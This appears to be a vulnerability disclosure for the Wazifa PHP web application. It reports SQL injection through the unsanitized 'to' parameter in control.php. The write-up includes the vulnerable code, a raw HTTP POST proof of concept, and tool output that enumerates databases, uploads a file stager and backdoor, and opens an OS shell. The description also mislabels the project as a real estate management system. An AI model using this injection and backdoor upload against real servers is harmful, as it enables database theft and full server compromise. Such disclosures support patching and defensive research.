

Wazifa has sql injection and code injection vulnerability in control.php

supplier

https://download-media.code-projects.org/2020/04/Wazifa_IN_PHP_CSS_Js_AND_MYSQL_FREE_DOWNLOAD.zip

Vulnerability parameter

control.php

describe

An unrestricted SQL injection attack exists in an Real Estate Property Management System in control.php. The parameters that can be controlled are as follows: \$to. This function executes the id parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

Code analysis


When the value of \$to parameter is obtained in function , it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.

```
controllers > control.php
1  <?php
2  include '../model/database.php';
3  $db = new database();
4  {$to=$_POST['to'];
5  $subject=$_POST['subject'];
6  $messege=$_POST['message'];
7
8  //$username=$_session['username'];
9  if (isset($_POST['send']) && !empty($_POST['to']) &&
10     !empty($_POST['subject']) && !empty($_POST['messege']))
11  { $db=new database();
12    $userinfo= $db->getuserinfoByUsername(username: $to);
13    if(count(value: $userinfo) !=0)
14    {
15    }$db->sendMessage($username,$to,$messege);
16    }
17  }
18  ?>
```

getuserinfoByUsername function

```
$results=mysqli_query(mysql: $this->connection,query: "SELECT * FROM user WHERE username='$username'");
while ($row = mysqli_fetch_array(result: $results, mode: MYSQLI_ASSOC)) {
    $user['iduser'] = $row['iduser'];
    $user['username'] = $row['username'];
    $user['age'] = $row['age'];
    $user['password'] = $row['password'];
    $user['firstname'] = $row['firstname'];
    $user['lastname'] = $row['lastname'];
    $user_list[] = $user;
}

return $user_list;
```



POC

```
POST /controllers/control.php HTTP/1.1
Host: wazifa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://wazifa
Connection: close
Referer: http://wazifa/controllers/control.php
Cookie: PHPSESSID=vp9qmg44las10dtp4j4qfca9g7
Upgrade-Insecure-Requests: 1
Priority: u=0, i

to=1*&subject=2&messege=3
```

Result

get databases

```
available databases [41]:
[*] `security`
[*] bloodbank
[*] challenges
[*] cltphp_show
[*] crud
[*] dedecmsv57utf8_115
[*] dedecmsv57utf8sp2
[*] dvwa
[*] easyweb
[*] ecms
[*] ecms4
[*] empirecms
[*] farmacia
[*] fastadmin
[*] forcms
[*] healthcare
[*] hostel
[*] imperial_college
[*] information_schema
[*] mysql
[*] ofcms
[*] online_health_care
[*] owlphin
[*] performance_schema
[*] project
[*] rockxinhu
[*] ry
[*] seacms
[*] sec_sql
```

OR get shell

you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]

```
[21:33:48] [WARNING] unable to upload the file stager on 'C:/xampp/htdocs/'
[21:33:48] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/controllers/' via LIMIT 'LINES TERMINATED BY' method
[21:33:48] [WARNING] unable to upload the file stager on 'C:/xampp/htdocs/controllers/'
[21:33:48] [INFO] trying to upload the file stager on 'C:/wamp/www/' via LIMIT 'LINES TERMINATED BY' method
[21:33:48] [WARNING] unable to upload the file stager on 'C:/wamp/www/'
[21:33:48] [INFO] trying to upload the file stager on 'C:/wamp/www/controllers/' via LIMIT 'LINES TERMINATED BY' method
[21:33:48] [WARNING] unable to upload the file stager on 'C:/wamp/www/controllers/'
[21:33:48] [INFO] trying to upload the file stager on 'C:/inetpub/wwwroot/' via LIMIT 'LINES TERMINATED BY' method
[21:33:48] [WARNING] unable to upload the file stager on 'C:/inetpub/wwwroot/'
[21:33:48] [INFO] trying to upload the file stager on 'C:/inetpub/wwwroot/controllers/' via LIMIT 'LINES TERMINATED BY' method
[21:33:48] [WARNING] unable to upload the file stager on 'C:/inetpub/wwwroot/controllers/'
[21:33:48] [INFO] trying to upload the file stager on 'D:/phpstudy_pro/WWW/collegeProject-Wazifa/' via LIMIT 'LINES TERMINATED BY' method
```

[21:33:48] [INFO] the file stager has been successfully uploaded on 'D:/phpstudy_pro/WWW/collegeProject-Wazifa/' - http://collegeproject-wazifa:80/tmpukphq.php

[21:33:48] [INFO] the backdoor has been successfully uploaded on 'D:/phpstudy_pro/WWW/collegeProject-Wazifa/' - http://collegeproject-wazifa:80/tmpbfohn.php

[21:33:48] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> dir

do you want to retrieve the command standard output? [Y/n/a] Y

command standard output:

驱动器 D 中的卷是 软件
卷的序列号是

Remote Code Excute

D:\phpstudy_pro\WWW\collegeProject-Wazifa 的目录

2024/10/31	21:33	<DIR>	.
2024/10/29	00:14	<DIR>	..
2024/10/25	15:17		0 .htaccess
2024/10/25	15:12	<DIR>	.phpintel
2020/02/29	16:01		11,393 admin panel.php
2020/02/29	16:01		11,368 composemess.php
2024/10/25	15:15	<DIR>	controllers
2024/10/25	15:12	<DIR>	css
2024/10/25	15:12	<DIR>	Diagrams
2024/10/25	15:12	<DIR>	dist
2020/02/29	16:01		17,202 followers list.php